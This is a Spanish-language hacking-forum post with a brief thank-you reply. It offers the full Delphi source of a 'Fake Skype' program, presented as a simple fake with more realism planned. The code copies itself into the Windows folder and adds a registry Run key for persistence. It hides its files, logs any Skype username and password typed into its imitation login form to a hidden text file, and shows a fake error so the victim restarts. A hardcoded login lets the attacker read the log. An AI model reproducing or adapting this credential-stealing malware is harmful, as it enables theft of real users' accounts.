elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] Fake Skype 0.1
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] Fake Skype 0.1  (Leído 2,115 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] Fake Skype 0.1
« en: 16 Agosto 2013, 18:40 pm »

Un simple Fake de Skype , en la proxima version voy a tratar de darle mas realismo xDD.

Una imagen :



El codigo :

Código
  1. // Fake Skype 0.1
  2. // Coded By Doddy H
  3.  
  4. unit fake;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
  11.  
  12. type
  13.  TForm1 = class(TForm)
  14.    Image1: TImage;
  15.    Edit1: TEdit;
  16.    Edit2: TEdit;
  17.    Image2: TImage;
  18.    procedure Image2Click(Sender: TObject);
  19.    procedure FormCreate(Sender: TObject);
  20.    procedure Edit2Click(Sender: TObject);
  21.    procedure Edit1Click(Sender: TObject);
  22.  
  23.  private
  24.    { Private declarations }
  25.  public
  26.    { Public declarations }
  27.  end;
  28.  
  29. var
  30.  Form1: TForm1;
  31.  
  32. implementation
  33.  
  34. {$R *.dfm}
  35.  
  36. procedure TForm1.Edit1Click(Sender: TObject);
  37. begin
  38.  Edit1.Text := '';
  39. end;
  40.  
  41. procedure TForm1.Edit2Click(Sender: TObject);
  42. begin
  43.  Edit2.Text := '';
  44. end;
  45.  
  46. procedure TForm1.FormCreate(Sender: TObject);
  47.  
  48. var
  49.  nombrereal: string;
  50.  rutareal: string;
  51.  yalisto: string;
  52.  her: TRegistry;
  53.  
  54. begin
  55.  
  56.  nombrereal := ExtractFileName(ParamStr(0));
  57.  rutareal := ParamStr(0);
  58.  yalisto := 'C:\WINDOWS\' + nombrereal;
  59.  
  60.  MoveFile(Pchar(rutareal), Pchar(yalisto));
  61.  
  62.  her := TRegistry.Create;
  63.  her.RootKey := HKEY_LOCAL_MACHINE;
  64.  
  65.  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  66.  her.WriteString('uber', yalisto);
  67.  her.Free;
  68.  
  69.  SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  70.  SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
  71.  
  72. end;
  73.  
  74. procedure TForm1.Image2Click(Sender: TObject);
  75. var
  76.  archivo: TextFile;
  77.  ruta: string;
  78.  
  79. begin
  80.  
  81.  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  82.  begin
  83.    WinExec('notepad c:/windows/datos.txt', SW_SHOW);
  84.  end
  85.  else
  86.  begin
  87.  
  88.    if Edit1.Text = '' then
  89.    begin
  90.      ShowMessage(
  91.        'Escribe tu Id. de Skype en este formato: tu nombre@ejemplo.com');
  92.    end;
  93.    if Edit2.Text = '' then
  94.    begin
  95.      ShowMessage('Escribe tu contraseña');
  96.    end
  97.    else
  98.    begin
  99.      if Edit2.Text = 'Escribe aqui tu contraseña' then
  100.      begin
  101.        ShowMessage('Escribe tu contraseña');
  102.      end
  103.      else
  104.      begin
  105.        ruta := 'c:/windows/datos.txt'; // mod
  106.        if FileExists(ruta) then
  107.        begin
  108.          AssignFile(archivo, ruta);
  109.          FileMode := fmOpenWrite;
  110.          Append(archivo);
  111.          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  112.              Edit2.Text);
  113.          CloseFile(archivo);
  114.          Application.MessageBox(
  115.            'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
  116.            MB_OK);
  117.          Form1.Close;
  118.        end
  119.        else
  120.        begin
  121.          AssignFile(archivo, ruta);
  122.          FileMode := fmOpenWrite;
  123.          ReWrite(archivo);
  124.          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  125.              Edit2.Text);
  126.          CloseFile(archivo);
  127.          Application.MessageBox(
  128.            'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
  129.            MB_OK);
  130.          Form1.Close;
  131.        end;
  132.      end;
  133.    end;
  134.  end;
  135.  
  136. end;
  137.  
  138. end.
  139.  
  140. // The End ?
  141.  

Si quieren bajarlo lo pueden hacer de aca.


En línea

Mixcoatl

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: [Delphi] Fake Skype 0.1
« Respuesta #1 en: 5 Septiembre 2013, 23:22 pm »

buenisimo bro  nunca he programado en este lenguaje gracias checare algunos manuaes


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Skype 5.0.0.123 Beta. Realiza llamadas y videoconferencias con Skype
Software
wolfbcn 2 3,192 Último mensaje 7 Septiembre 2010, 17:30 pm
por frydisiaco
anti fake player/botnet/fake bot 2011 cs 1.6
Juegos y Consolas
el_infector 0 4,902 Último mensaje 23 Mayo 2011, 19:01 pm
por el_infector
[Delphi] Fake MSN 0.2
Programación General
BigBear 2 2,328 Último mensaje 23 Noviembre 2012, 00:20 am
por BigBear
alguien tiene un clon o fake de skype
Hacking
General Dmitry Vergadoski 0 2,511 Último mensaje 6 Julio 2014, 18:50 pm
por General Dmitry Vergadoski
[Delphi] Fake Steam 0.3
Programación General
BigBear 1 2,050 Último mensaje 2 Mayo 2015, 04:45 am
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines